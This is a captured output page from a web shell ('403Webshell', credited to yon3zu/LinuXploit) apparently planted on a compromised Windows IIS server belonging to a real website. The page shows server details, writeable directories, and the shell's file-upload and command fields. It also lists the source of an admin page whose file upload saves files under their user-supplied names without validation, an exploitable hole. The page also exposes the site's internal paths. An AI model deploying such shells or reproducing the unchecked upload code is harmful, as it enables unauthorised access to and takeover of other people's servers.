403Webshell
Server IP : 104.21.93.206  /  Your IP : 172.71.255.6
Web Server : Microsoft-IIS/10.0
System : Windows NT WAVE 10.0 build 20348 (Windows Server 2016) AMD64
User : IWPD_458(indias) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/physio.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using System.Text.RegularExpressions;
using DevExpress.Web.ASPxHtmlEditor;
using System.Net;
using System.IO;

public partial class admin_physio : System.Web.UI.Page
{
    SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["con"].ConnectionString);

    protected void Page_Load(object sender, EventArgs e)
    {
        if (Session["username"] != null)
        {



        }
        else
        {
            Response.Redirect("login.aspx");
        }
    }

    protected void btnsubmit_Click(object sender, EventArgs e)
    {
        if (FileUpload1.HasFile)
        {

            FileUpload1.SaveAs(Server.MapPath("~/admin/profiles//" + FileUpload1.FileName));
           
        }
        string filename = Path.GetFileName(FileUpload1.FileName);
        SqlCommand cmd = new SqlCommand("SP_Insert_physio", con);
        cmd.CommandType = CommandType.StoredProcedure;
        cmd.Parameters.Add("@fileupload", SqlDbType.NVarChar).Value = "~/admin/profiles/" + filename;
        cmd.Parameters.Add("@txtname", SqlDbType.NVarChar).Value = txtname.Text;
        cmd.Parameters.Add("@dob", SqlDbType.NVarChar).Value = txtdob.Text;
        cmd.Parameters.Add("@designation", SqlDbType.NVarChar).Value = txtdesignation.Text;
        cmd.Parameters.Add("@status", SqlDbType.NVarChar).Value = "Physio";

        con.Open();

        int RA = cmd.ExecuteNonQuery();
        con.Close();
        if (RA > 0)
        {
            txtname.Text = string.Empty;
            txtdob.Text = string.Empty;
            txtdesignation.Text = string.Empty;
            lblsucess.Visible = true;
            lblfailed.Visible = false;
        }
        else
        {
            lblfailed.Visible = true;
            lblsucess.Visible = false;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit